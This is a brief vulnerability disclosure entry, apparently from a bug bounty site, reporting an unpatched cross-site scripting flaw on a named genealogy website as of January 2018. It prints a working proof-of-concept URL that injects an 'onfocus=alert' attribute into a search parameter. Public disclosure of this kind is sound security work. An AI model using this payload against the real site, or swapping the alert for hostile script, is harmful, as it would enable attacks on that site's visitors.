schnetzka.net XSS vulnerability

Vulnerable URL: http://www.schnetzka.net/genealogy/schnetzka/browsemedia.php?mediasearch=bug=headstones=Relatives=%22%20autofocus%20onfocus=alert%60OPENBUGBOUNTY%60%20 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.01.2018 Vulnerability type:| XSS Vulnerability...